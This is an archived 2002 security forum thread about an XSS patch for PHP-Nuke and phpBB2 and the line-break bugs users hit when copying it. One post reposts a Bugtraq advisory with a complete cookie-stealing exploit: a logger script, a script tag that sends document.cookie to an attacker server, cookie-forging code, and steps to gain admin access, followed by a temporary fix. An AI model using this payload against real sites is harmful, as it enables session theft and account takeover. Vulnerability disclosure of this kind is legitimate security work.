CastleCops, Internet Crime Fighters
Need help? Click here to register for free! Absolutely zero advertisements on this site!

$9736.22 of $21422.68
left sidedonated so farneed $11686.46 donated to reach our goalright side, our goal
Help CastleCops serve the community on new servers, Donate Here to reach our goal.

Donation/Premium
spacer
block bottom
Security Central
spacer
· Home
· PIRT/Fried Phish
· MIRT
· SIRT
· Deutsch
· Wiki
· Newsletter
· O16/ActiveX
· CLSID List
· Contest2007
· Downloads
· Feedback (send)
· Forums
· HijackThis
· Hijacktrend
· LSPs
· My Downloads
· O18
· O20
· O21
· O22
· O23
· O9
· Premium
· Private Messages
· Proxomitron
· Reviews
· Search
· StartupList
· Stories Archive
· Submit News
· WsIRT
· Your Account
· Acceptable Use Policy
block bottom
Survey
spacer
Was 2007 a good year?

Yes it was a wonderful year
Yes, but there is always room for improvement
Status quo
It was a challenge
Other (leave comment)



Results
Polls

Votes: 927
Comments: 25
block bottom
spacer spacer

About XSS Exploit Patch
Goto page 1, 2  Next
 
Post new topic   Reply to topic       All -> FavForums -> Web 2.0 [del.icio.us!] [digg it!] [reddit!]
View previous topic :: View next topic  
Author Message
taniself

Cadet
Cadet


Joined: Jun 19, 2002
Posts: 2
Location: Taiwan

PostPosted: Thu Jun 20, 2002 3:50 am    Post subject: About XSS Exploit Patch
Reply with quote

Hail
I just installed this patch on my test pc,and found a issue in phpbb2 port.

EX:
When a post is written an url address without bbcode,It shows:

\
://www.computercops.biz/downloads/PHPNuke/xss_patch_100.txt

But content correct clickable link.Before patch,it show this normally:

CastleCops Link/downloads/PHPNuke/xss_patch_100.txt

Thanks.

Back to top
View users profile Send private message
Paul

CastleCops Founder


Joined: Feb 22, 2002
Posts: 27348

Administrators Firetrust Forums Admin MIRT Moderators MVP Phishing Squad Premium Team CC Committee

PostPosted: Thu Jun 20, 2002 3:59 am    Post subject:
Reply with quote

That's odd... this forum has the XSS exploit patch applied and it seems the link is linked correctly. I think I'm not understanding your post. Please advise... because if there is something wrong with the forums patch, I'll fix it rightaway and re-release.


_________________
Paul Laudanski - http://www.laudanski.com
http://www.linkedin.com/pub/1/49a/17b
Back to top
View users profile Send private message Send email Visit posters website
taniself

Cadet
Cadet


Joined: Jun 19, 2002
Posts: 2
Location: Taiwan

PostPosted: Thu Jun 20, 2002 4:46 am    Post subject:
Reply with quote

Sorry,it is my mistake.><

I use the broken line,because the code is too long,so I didn't notice that.

Thanks for reply,I should now know how to fix this problem. Cool

P.S
And sorry my poor English.

Back to top
View users profile Send private message
Paul

CastleCops Founder


Joined: Feb 22, 2002
Posts: 27348

Administrators Firetrust Forums Admin MIRT Moderators MVP Phishing Squad Premium Team CC Committee

PostPosted: Thu Jun 20, 2002 11:19 am    Post subject:
Reply with quote

Your English is excellent, and I'm glad you're able to get the code fixed. Very Happy


_________________
Paul Laudanski - http://www.laudanski.com
http://www.linkedin.com/pub/1/49a/17b
Back to top
View users profile Send private message Send email Visit posters website
Andi

Guest
IP: 209.226.*.*






PostPosted: Fri Jul 05, 2002 8:33 pm    Post subject:
Reply with quote

I had this problem too. I just discovered it today when I received a nice handful of 404 messages e-mailed my way: http://www.mysite.com/h<br%20/>ttp://www.thesitetheywerelinkingto.com

I've fixed it by making sure the code didn't break up the links & mailto parts up.

btw - thanks for the security fix Very Happy

Back to top
Paul

CastleCops Founder


Joined: Feb 22, 2002
Posts: 27348

Administrators Firetrust Forums Admin MIRT Moderators MVP Phishing Squad Premium Team CC Committee

PostPosted: Fri Jul 05, 2002 10:04 pm    Post subject:
Reply with quote

My pleasure.. is that the link that wouldn't work on your site?


_________________
Paul Laudanski - http://www.laudanski.com
http://www.linkedin.com/pub/1/49a/17b
Back to top
View users profile Send private message Send email Visit posters website
Andi

Guest
IP: 216.209.*.*






PostPosted: Fri Jul 05, 2002 11:33 pm    Post subject:
Reply with quote

No, that was just an example of how the link looked w/the added br tag & my site url before it. Someone added an url (without the http:// part) to their post..... and that is how it ended up!

It was easy to fix & all links work now.

thanks,
Andi

Back to top
Paul

CastleCops Founder


Joined: Feb 22, 2002
Posts: 27348

Administrators Firetrust Forums Admin MIRT Moderators MVP Phishing Squad Premium Team CC Committee

PostPosted: Fri Jul 05, 2002 11:40 pm    Post subject:
Reply with quote

Great... what was your fix? I haven't seen any bugs here.


_________________
Paul Laudanski - http://www.laudanski.com
http://www.linkedin.com/pub/1/49a/17b
Back to top
View users profile Send private message Send email Visit posters website
Andi

Guest
IP: 216.209.*.*






PostPosted: Sat Jul 06, 2002 12:51 am    Post subject:
Reply with quote

Paul, I'm just going to copy & paste segments of the relevant parts from xss_patch_100.txt that were giving me problems & what I did to fix them.

$ret = preg_replace("#([\n ])([a-z]+?)://([^\t <\"\n\r]+)#i", "\\1<a href=\"\\2://\\3\" target=\"_blank\">\
\2://\\3</a>", $ret);

You will notice in the code above that the \2... part is separated from the rest of the code. This happens 3 times, so

this segment:
"\\1<a href=\"\\2://\\3\" target=\"_blank\">\
\2://\\3</a>"

I changed to:
"\\1<a href=\"\\2://\\3\" target=\"_blank\">\\2://\\3</a>"

Also this segment further on:
"\\1<a href=\"h
ttp://www.\\2.\\3\\4\" target=\"_blank\">www.\\2.\\3\\4</a>"

I changed to:
"\\1<a href=\"http://www.\\2.\\3\\4\" target=\"_blank\">www.\\2.\\3\\4</a>"

And finally, this:
"\\1<a href=\"mailto:\\2@\
\3\">\\2@\\3</a>"

I changed to:
"\\1<a href=\"mailto:\\2@\\3\">\\2@\\3</a>"

I just made sure that all the lines of code in bbcode.php concerning "a href" weren't broken up & that has fixed it for me. Using nuke 5.5 & phpbb2 port 2.0.4.

No idea why it was causing problems for me but this is what fixed it for my board.

HTH,
Andi

Back to top
Paul

CastleCops Founder


Joined: Feb 22, 2002
Posts: 27348

Administrators Firetrust Forums Admin MIRT Moderators MVP Phishing Squad Premium Team CC Committee

PostPosted: Sat Jul 06, 2002 12:58 am    Post subject:
Reply with quote

Oh I see, line breaks in the code. That can be a problem when copy and pasting.


_________________
Paul Laudanski - http://www.laudanski.com
http://www.linkedin.com/pub/1/49a/17b
Back to top
View users profile Send private message Send email Visit posters website
sixonetonoffun

Private
Private


Joined: Jun 04, 2002
Posts: 43
Location: USA

PostPosted: Thu Aug 15, 2002 5:39 pm    Post subject: PHP-Nuke v5.6 - Users can compromise admin accts
Reply with quote

Imagine this "Breaking News" should be posted for fun... personally I disabled PM's in Nuke way back.


Code:

From:   delusi0n@bellsouth.net (<-delusion->)
To:   bugtraq@securityfocus.com, webappsec@secuirtyfocus.com

 Tested on PHP-Nuke v5.6 with Mozilla on Linux
(should work on past versions and on most browsers)

 Impact:
 ---------------------------------------------
 Allows any user to get admin access to a PHP-Nuke site.

Summary:
----------------------------------------------
Due to a XSS flaw in PHPNuke's Private Messaging module, users can send
messages
with html code that will be executed without any filtering. In old PHPNuke
versions
XSS allowed theft of cookies which stored passwords in base64
encoding. Well PHPNuke version 5.6 encrypts the passwds in md5 before it
encodes it
into base64 and puts it into a cookie. This made stolen cookies useless if
the attacker just
tried decoding the base64 encrypted pass, because he just got the MD5
encrypted pass.

Since PHP Nuke encrypts passes in md5 and then matches the encrypted pass
with the
encrypted one in the database, i was able to use the md5 encrypted pass i
got from the
stolen cookie to authenticate myself.

PHPNuke sets cookies by base64 encoding a string that looks like this:

username:md5_encrypted_pass:lang

Since i can get the md5_encrypted pass all i have to do is launch a script
that base64 encodes
a string like the one above, and sets it as a cookie on my box.

Exploit:
-------------------------------------------------
For this exploit to work, you must create the following files in your web
server's directory.

cookie.php containing this:
<?
$fp = fopen("cookie.txt","a");
fputs($fp, $cookie);
fclose($fp);
print "Message Not Found!"; /* this is so the admin doesnt get scared. and
thinks its some bug. */
?>

test.php containing:
<?
$admin = base64_encode("decoded_string") ;
setcookie("admin","$admin",time()+2592000);
?>
You will find out what to replace decoded_string with..

1. Send an appealing private message to admin containing
<script>document.location.replace('http://yourserver/cookie.php?cookie='+doc
ument.cookie);</script>

2. Wait awhile until the admin checks the message then check cookie.txt on
yer server.

3. From cookie.txt.. copy the encrypted text after admin= and before the ;

4. go to http://www.isecurelabs.com/base64.php paste the copied text, click
decode it should give u a string like this:
username:md5_encrypted_passwd:language (language may be blank).

5. paste the decoded string into test.php like so.
<?
$admin = base64_encode("paste decoded string here");
setcookie("admin","$admin",time()+2592000);
?>

6. Login as any user on the site

7. send private message to self containing:
<iframe src="http://yerserver/test.php"></iframe>
Open the message and a cookie will now be set on yer box, but it will be
configured with your server's URL.
So all u gotta do is replace yer url wit the nuked site.

8. for mozilla edit cookies.txt in yer ~/.mozilla/someprofile/something/
directory replace the url of yer server to the nuked site,
for other browsers just find the Cookie from your server and edit it so
instead of showng your url it shows the url
of the nuked site.

9. restart yer browser (close and open up again). go back into the nuked
site and you are now admin. :D

Temp Solution:
-------------------------------------------------
Edit reply.php in /modules/Private_Messages/ and make $message be stripped
of html tags.

Go to line 75 in reply.php and add this line:

$message = strip_tags($message, '
');That will remove any html tags that arent
 or . So it willprevent the XSS.-------------------------------------------------NOTE: I wasnt able to contact the php nuke person, i couldnt find an emailon their site, and when i signed up for membership i never got the password,so if u can, let them know asap so they can fix this.Another Vulnerability Brought to you  by,delusionhttp://digital-delusions.dyn.ee

Back to top
View users profile Send private message Visit posters website
IP: 65.168.*.*

Guest






PostPosted: Thu Aug 15, 2002 8:18 pm    Post subject:
Reply with quote

Nuke 5.6 contains Splatt forums for Private Messaging.

Back to top
sixonetonoffun

Private
Private


Joined: Jun 04, 2002
Posts: 43
Location: USA

PostPosted: Fri Aug 16, 2002 1:49 am    Post subject:
Reply with quote

At any rate doesn't really seem like anything new to me.

Back to top
View users profile Send private message Visit posters website
Paul

CastleCops Founder


Joined: Feb 22, 2002
Posts: 27348

Administrators Firetrust Forums Admin MIRT Moderators MVP Phishing Squad Premium Team CC Committee

PostPosted: Fri Aug 16, 2002 3:00 am    Post subject:
Reply with quote

Due to the nature of the phpBB2 forums, such a script won't work here.


_________________
Paul Laudanski - http://www.laudanski.com
http://www.linkedin.com/pub/1/49a/17b
Back to top
View users profile Send private message Send email Visit posters website
sixonetonoffun

Private
Private


Joined: Jun 04, 2002
Posts: 43
Location: USA

PostPosted: Fri Aug 16, 2002 3:15 am    Post subject:
Reply with quote

Figured it went along with the general topic better then posting a new one.
Maybe it stirs up some interest in nuke security? They seem to be running through the Blogs and shopping carts lately.

Back to top
View users profile Send private message Visit posters website
Display posts from previous:   
Post new topic   Reply to topic       All -> FavForums -> Web 2.0 All times are GMT
Goto page 1, 2  Next
Page 1 of 2

 
Quick Reply:
Username: 

Quote the last message
Attach signature (signatures can be changed in profile)
 
You can post new topics in this forum
You can reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You can attach files in this forum
You can download files in this forum


Powered by phpBB © 2001 phpBB Group
spacer spacer